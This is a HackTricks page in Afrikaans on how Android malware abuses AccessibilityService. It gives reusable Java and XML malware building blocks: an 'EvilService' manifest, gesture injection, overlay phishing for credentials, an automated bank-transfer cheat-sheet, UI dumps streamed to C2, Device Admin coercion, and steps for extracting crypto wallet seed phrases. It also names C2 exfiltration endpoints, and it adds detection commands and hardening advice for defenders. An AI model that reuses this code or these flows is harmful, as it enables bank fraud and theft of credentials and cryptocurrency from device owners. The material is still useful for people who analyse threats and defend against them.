Misbruik van Android Accessibility Service
Reading time: 8 minutes
tip
Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
Oorsig
AccessibilityService
is geskep om gebruikers met gestremdhede te help om met Android-toestelle te kommunikeer. Ongelukkig kan dieselfde kragtige automatiserings-API's (global navigation, text input, gesture dispatch, overlay windows…) deur malware gewapen word om volle afstandbeheer oor die handset te verkry sonder root-bevoegdhede.
Moderne Android-banking-Trojans en Remote-Access-Trojans (RATs) soos PlayPraetor, SpyNote, BrasDex, SOVA, ToxicPanda en baie ander volg dieselfde resep:
- Social-engineer die slagoffer om 'n kwaadaardige accessibility service te aktiveer (die BIND_ACCESSIBILITY_SERVICE toestemming word as "high-risk" beskou en vereis 'n eksplisiete gebruikersaksie).
- Benut die service om
- elke UI-gebeurtenis en teks wat op die skerm verskyn vas te vang,
- sintetiese gebare in te spuit (
dispatchGesture
) en global actions (performGlobalAction
) te gebruik om enige taak wat die operateur wil te outomatiseer, - volskerm-overlaye bo-op regmatige apps te teken deur die TYPE_ACCESSIBILITY_OVERLAY venstertipe te gebruik (geen
SYSTEM_ALERT_WINDOW
prompt nie!), - stilswyend addisionele runtime-toestemmings te verleen deur op die stelseldialoë namens die slagoffer te klik.
- Eksfiltreer data of voer On-Device-Fraud (ODF) in real-time uit terwyl die gebruiker na 'n heeltemal normale skerm kyk.
Toestemming aanvra
<!-- AndroidManifest.xml -->
<service
android:name="com.evil.rat.EvilService"
android:permission="android.permission.BIND_ACCESSIBILITY_SERVICE"
android:exported="false">
<intent-filter>
<action android:name="android.accessibilityservice.AccessibilityService" />
</intent-filter>
<meta-data android:name="android.accessibilityservice"
android:resource="@xml/evil_accessibility_config"/>
</service>
Die begeleidende XML definieer hoe die vals dialoog sal lyk:
<?xml version="1.0" encoding="utf-8"?>
<accessibility-service xmlns:android="http://schemas.android.com/apk/res/android"
android:description="@string/service_description"
android:accessibilityEventTypes="typeAllMask"
android:accessibilityFeedbackType="feedbackGeneric"
android:notificationTimeout="200"
android:canPerformGestures="true"
android:canRetrieveWindowContent="true"/>
Afstands-UI-outomatisering primiewe
public class EvilService extends AccessibilityService {
@Override
public void onAccessibilityEvent(AccessibilityEvent event) {
// harvest text or detect foreground app change
}
// Simulate HOME / BACK / RECENTS …
private void navHome() { performGlobalAction(GLOBAL_ACTION_HOME); }
private void navBack() { performGlobalAction(GLOBAL_ACTION_BACK); }
private void openRecents() { performGlobalAction(GLOBAL_ACTION_RECENTS); }
// Generic tap / swipe
public void tap(float x, float y) {
Path p = new Path(); p.moveTo(x, y);
GestureDescription.StrokeDescription s = new GestureDescription.StrokeDescription(p, 0, 50);
dispatchGesture(new GestureDescription.Builder().addStroke(s).build(), null, null);
}
}
Met net hierdie twee APIs kan 'n aanvaller:
- Ontsluit die skerm, open die bank-app, navigeer deur sy UI-boom en dien 'n oordragvorm in.
- Aanvaar elke toestemmingsdialoog wat opduik.
- Installeer/opdateer ekstra APKs via die Play Store intent.
Misbruikpatrone
1. Overlay Phishing (Credential Harvesting)
'n Deursigtige of ondoorzichtige WebView
word by die window manager gevoeg:
WindowManager.LayoutParams lp = new WindowManager.LayoutParams(
MATCH_PARENT, MATCH_PARENT,
TYPE_ACCESSIBILITY_OVERLAY, // ⬅ bypasses SYSTEM_ALERT_WINDOW
FLAG_NOT_FOCUSABLE | FLAG_NOT_TOUCH_MODAL, // touches still reach the real app
PixelFormat.TRANSLUCENT);
wm.addView(phishingView, lp);
Die slagoffer tik inlogbesonderhede in die vals vorm terwyl die agtergrond-app dieselfde gebare ontvang – geen verdagte "draw over other apps" prompt word ooit gewys nie.
Gedetaileerde voorbeeld: die Accessibility Overlay Phishing afdeling binne die Tapjacking-bladsy.
2. Op-toestel bedrog-automatisering
Malware-families soos PlayPraetor onderhou 'n volgehoue WebSocket-kanaal waar die operateur hoëvlak-opdragte kan uitreik (init
, update
, alert_arr
, report_list
, …). Die diens omskakel daardie opdragte na die laevlak-gebare hierbo, wat regstreekse ongemagtigde transaksies moontlik maak en maklik multi-factor-authentication wat aan daardie toestel gekoppel is omseil.
3. Skermstreaming & monitering
Deur die MediaProjection API met 'n RTMP client-biblioteek te kombineer, kan die RAT die lewendige framebuffer na rtmp://<c2>:1935/live/<device_id>
uitsaai, wat die teenstander perfekte situasiebewustheid gee terwyl die Accessibility-enjin die UI bestuur.
PlayPraetor – command & control werkvloei
- HTTP(S) heartbeat – iterate oor 'n hard-coded lys totdat een domein
POST /app/searchPackageName
beantwoord met die aktiewe C2. - WebSocket (port 8282) – wisselrigting JSON-opdragte:
update
– stuur nuwe conf/APKsalert_arr
– konfigureer overlay-sjablonereport_list
– stuur lys van geteikende pakketnameheartbeat_web
– keep-alive
- RTMP (port 1935) – lewendige skerm-/video-streaming.
- REST exfiltration –
/app/saveDevice
(vingerafdruk)/app/saveContacts
|/app/saveSms
|/app/uploadImageBase64
/app/saveCardPwd
(bank creds)
Die AccessibilityService is die plaaslike enjin wat daardie wolk-opdragte in fisiese interaksies omskakel.
Opspoor van kwaadwillige accessibility-dienste
adb shell settings get secure enabled_accessibility_services
- Settings → Accessibility → Downloaded services – kyk vir apps wat nie vanaf Google Play is nie.
- MDM / EMM-oplossings kan
ACCESSIBILITY_ENFORCEMENT_DEFAULT_DENY
(Android 13+) afdwing om sideloaded dienste te blokkeer. - Analiseer lopende dienste:
adb shell dumpsys accessibility | grep "Accessibility Service"
Aanbevelings vir verharding vir app-ontwikkelaars
- Merk sensitiewe views met
android:accessibilityDataSensitive="accessibilityDataPrivateYes"
(API 34+). - Kombineer
setFilterTouchesWhenObscured(true)
metFLAG_SECURE
om tap-/overlay-kaping te voorkom. - Detecteer overlays deur
WindowManager.getDefaultDisplay().getFlags()
of dieViewRootImpl
API te polleer. - Weier om te werk wanneer
Settings.canDrawOverlays()
of 'n nie-vertroude Accessibility service aktief is.
ATS automation cheat-sheet (Accessibility-driven)
Malware kan 'n bank-app volledig outomatiseer slegs met Accessibility APIs. Generiese primitiewe:
// Helpers inside your AccessibilityService
private List<AccessibilityNodeInfo> byText(String t){
AccessibilityNodeInfo r = getRootInActiveWindow();
return r == null ? Collections.emptyList() : r.findAccessibilityNodeInfosByText(t);
}
private boolean clickText(String t){
for (AccessibilityNodeInfo n: byText(t)){
if (n.isClickable()) return n.performAction(ACTION_CLICK);
AccessibilityNodeInfo p = n.getParent();
if (p != null) return p.performAction(ACTION_CLICK);
}
return false;
}
private void inputText(AccessibilityNodeInfo field, String text){
Bundle b = new Bundle(); b.putCharSequence(ACTION_ARGUMENT_SET_TEXT_CHARSEQUENCE, text);
field.performAction(ACTION_SET_TEXT, b);
}
private void tap(float x, float y){
Path p = new Path(); p.moveTo(x,y);
dispatchGesture(new GestureDescription.Builder()
.addStroke(new GestureDescription.StrokeDescription(p,0,40)).build(), null, null);
}
Voorbeeldvloei (Czech → Engelse etikette):
- "Nová platba" (Nuwe betaling) → klik
- "Zadat platbu" (Voer betaling in) → klik
- "Nový příjemce" (Nuwe ontvanger) → klik
- "Domácí číslo účtu" (Inlandse rekeningnommer) → fokus en
ACTION_SET_TEXT
- "Další" (Volgende) → klik → … "Zaplatit" (Betaal) → klik → voer PIN in
Valopsie: hardgekodeerde koördinate met dispatchGesture
wanneer teksopsoek misluk weens pasgemaakte widgets.
Ook waargeneem: voorafstappe na check_limit
en limit
deur na die limiete UI te navigeer en daaglikse limiete te verhoog voor die oordrag.
Teksgebaseerde pseudo-skermstreaming
Vir lae-latensie afstandbeheer, in plaas van volledige video-streaming, skryf 'n tekstuele voorstelling van die huidige UI-boom uit en stuur dit herhaaldelik na C2.
private void dumpTree(AccessibilityNodeInfo n, String indent, StringBuilder sb){
if (n==null) return;
Rect b = new Rect(); n.getBoundsInScreen(b);
CharSequence txt = n.getText(); CharSequence cls = n.getClassName();
sb.append(indent).append("[").append(cls).append("] ")
.append(txt==null?"":txt).append(" ")
.append(b.toShortString()).append("\n");
for (int i=0;i<n.getChildCount();i++) dumpTree(n.getChild(i), indent+" ", sb);
}
Dit is die basis vir opdragte soos txt_screen
(eenmalig) en screen_live
(deurlopend).
Device Admin dwangprimitiewe
Sodra 'n Device Admin-ontvanger geaktiveer is, verhoog hierdie oproepe die geleenthede om credentials te onderskep en beheer te behou:
DevicePolicyManager dpm = (DevicePolicyManager) getSystemService(DEVICE_POLICY_SERVICE);
ComponentName admin = new ComponentName(this, AdminReceiver.class);
// 1) Immediate lock
dpm.lockNow();
// 2) Force credential change (expire current PIN/password)
dpm.setPasswordExpirationTimeout(admin, 1L); // may require owner/profile-owner on recent Android
// 3) Disable biometric unlock to force PIN/pattern entry
int flags = DevicePolicyManager.KEYGUARD_DISABLE_FINGERPRINT |
DevicePolicyManager.KEYGUARD_DISABLE_TRUST_AGENTS;
dpm.setKeyguardDisabledFeatures(admin, flags);
Let wel: die presiese beskikbaarheid van hierdie beleidsreëls verskil per Android-weergawe en OEM; valideer die device policy rol (admin vs owner) tydens toetsing.
Crypto wallet seed-phrase extraction patterns
Waargenome vloei vir MetaMask, Trust Wallet, Blockchain.com en Phantom:
- Ontsluit met gesteelde PIN (vasgevang via overlay/Accessibility) of die voorsien wallet-wagwoord.
- Navigeer: Settings → Security/Recovery → Reveal/Show recovery phrase.
- Versamel frase via keylogging die text nodes, secure-screen bypass, of screenshot OCR wanneer teks verskuil is.
- Ondersteun meerdere locales (EN/RU/CZ/SK) om selectors te stabiliseer – gee voorkeur aan
viewIdResourceName
waar beskikbaar, val terug op meertalige teksvergelyking.
NFC-relay orchestration
Accessibility/RAT modules kan installeer en lanceer 'n toegewyde NFC-relay app (bv., NFSkate) as 'n derde fase en selfs 'n overlay-gids injekteer om die slagoffer deur kaart-aanwesige relay-stappe te lei.
Background and TTPs: https://www.threatfabric.com/blogs/ghost-tap-new-cash-out-tactic-with-nfc-relay
Verwysings
- PlayPraetor’s evolving threat: How Chinese-speaking actors globally scale an Android RAT
- Android accessibility documentation – Automating UI interaction
- The Rise of RatOn: From NFC heists to remote control and ATS (ThreatFabric)
- GhostTap/NFSkate – NFC relay cash-out tactic (ThreatFabric)
tip
Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.